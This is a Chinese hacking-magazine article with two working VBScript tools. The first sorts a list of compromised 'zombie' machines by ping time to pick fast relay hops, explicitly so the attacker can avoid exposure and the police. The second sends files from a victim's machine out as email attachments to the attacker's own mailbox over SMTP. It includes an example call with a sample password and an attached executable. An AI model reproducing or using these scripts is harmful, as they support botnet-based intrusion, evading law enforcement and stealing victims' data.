NetPatch
此文已經發於***手冊第十一期
上一期寫了一個VBS的注入腳本,這次給大家帶來兩個腳本,希望小菜們能喜歡。
一.挑選速度快的肉雞做×××。
當自己從小菜鳥轉型爲老菜鳥時,就懂得考慮在玩Hacking的同時也要儘量保證不暴露
自己。萬事,安全第一嘛!不然都不知道哪天玩着玩着就被警察叔叔帶去喝茶了^_^ 。
因此,作爲老菜鳥的我們,要學會在Hacking時,多用×××+終端等跳板措施來保護自己,儘量不讓自己直接暴露所處地。
但是,由於跳板的增加,導致了數據傳輸的緩慢。因此我們完全有必要找網速快的機器來做×××跳板。但如果讓自己做這些重複性的操作(從衆多的肉雞中挑選網速好的),那就太愧對老菜鳥這個稱呼了。對於學過編程的朋友來說,那簡直易如反掌。但對小菜來說,可能還有點難度。因此,今天我就先簡單的介紹下,如何用VBS幫我們挑選速度快的肉雞。
On Error Resume Next
'code by NetPatch
Set arg=Wscript.Arguments
'聲明外部參數
If Arg.count=0 then Wscript.quit
'若沒有參數則退出腳本
Num=0
SzBuf = InputBox( "請輸入要找的Ping時間值:", "輸入", "200" )
'調用彈出消息輸入框來獲取要查找的時間
Set Fso=CreateObject("Scripting.FileSystemObject")
'聲明FSO組件
Set Gofile=Fso.OpenTextFile(Arg(0),1,False,-2)
'打開拖進來的文件
Do While Gofile.Atendofline <> True
Ip=Gofile.Readline
'讀取一行
Set oShell = WScript.CreateObject("WScript.Shell")
'聲明WSH組件
Set oExec = oShell.Exec("ping -n 1 "&Ip&"")
'執行PING命令,然後把結果附值到oExec
Set File=fso.OpenTextFile(arg(0)&".txt",8,True)
Do While Not oExec.StdOut.AtEndOfStream
strOut = oExec.StdOut.ReadLine()
If oExec.StdOut.line>4 then exit do
'用循環讀取指定行數
Loop
If
Cint(GET_Time(StrOut)) < Cint(SzBuf) Then
File.Writeline Ip&chr(9)&"Ping時間值爲:"&GET_Time(StrOut)&"秒"
'找到小於指定時間的機器,並寫入新建立的文本
Num=Num+1
'找到後,記數(後面統計用)
End if
Loop
File.Close
Gofile.Close
Set Fso=Nothing
if num = 0 then
wscript.echo "鬱悶!一個也沒找到@_@"
else
wscript.echo "恭喜!找到"&num&"個"
end if
'用正則查找指定的PING時間值
Function GET_Time(ss)
Set re = New RegExp
re.Pattern = "(.+from )(\d+.\d+.\d+.\d+): bytes=32 time=(\d+)ms(.+)"
re.Global = True
re.IgnoreCase = True
re.MultiLine = True
GET_Time = re.Replace(ss,"$3")
end Function
把你的肉雞IP列表拉到這個VBS腳本上,再填入你要找的PING時間值,即可很快找出哪臺肉雞相對比較快的(當然,前提是你的肉雞沒防PING!不過話說回來,如果防PING的話,估計有防火牆一類的東西,可能也做不成×××了。)。
二.利用VBS發送郵件
有的時候,***時,我們需要在DOS下打包對方的某些東西!
有的時候,我們沒辦法上傳工具。
有的時候,由於對方限制太嚴格,沒辦法利用FTP等方法傳東西。
這個時候,下面的腳本就派上大用場了,可以很輕鬆的將對方的東西,當附件發送到自己郵箱。(前提是,附件不要太大哦……不然很容易暴露D!)
function Send_mail(You_Account,You_Password,Send_Email,Send_Email2,Send_Topic,Send_Body,Send_Attachment)
'code by NetPatch
'VBS發送郵件參數說明
'You_Account:你的郵件帳號
'You_Password:你的郵件密碼
'Send_Email:
主要郵件地址
'Send_Email2: 備用郵件地址
'Send_Topic:
郵件主題
'Send_Body:
郵件內容
'Send_Attachment:郵件附件
You_ID=Split(You_Account, "@", -1, vbTextCompare)
'帳號和服務器分離
MS_Space = "http://schemas.microsoft.com/cdo/configuration/"
'這個是必須要的,不過可以放心的事,不會通過微軟發送郵件
Set Email = CreateObject("CDO.Message")
Email.From = You_Account
'這個一定要和發送郵件的帳號一樣
Email.To = Send_Email
'主要郵件地址
If Send_Email2 <> "" Then
Email.CC = Send_Email2
'備用郵件地址
End If
Email.Subject = Send_Topic
'郵件主題
Email.Textbody = Send_Body
'郵件內容
If Send_Attachment <> "" Then
Email.AddAttachment Send_Attachment
'郵件附件
End If
With Email.Configuration.Fields
.Item(MS_Space&"sendusing") = 2
'發信端口
.Item(MS_Space&"smtpserver") = "smtp."&You_ID(1)
'SMTP服務器地址
.Item(MS_Space&"smtpserverport") = 25
'SMTP服務器端口
.Item(MS_Space&"smtpauthenticate") = 1
'cdobasec
.Item(MS_Space&"sendusername") = You_ID(0)
'你的郵件帳號
.Item(MS_Space&"sendpassword") = You_Password
'你的郵件密碼
.Update
End With
Email.Send
'發送郵件
Set Email=Nothing
'關閉組件
Send_Mail=True
'如果沒有任何錯誤信息,則表示發送成功,否則發送失敗
If Err Then
Err.Clear
Send_Mail=False
End If
End Function
'以下是利用上面的函數發送帶附件的郵件例子
If Send_Mail("[email][email protected][/email]","alan@113","[email][email protected][/email]","","郵件主題","郵件內容","d:\test.exe")=True Then
Wscript.Echo "發送成功"
Else
Wscript.Echo "發送失敗"
End If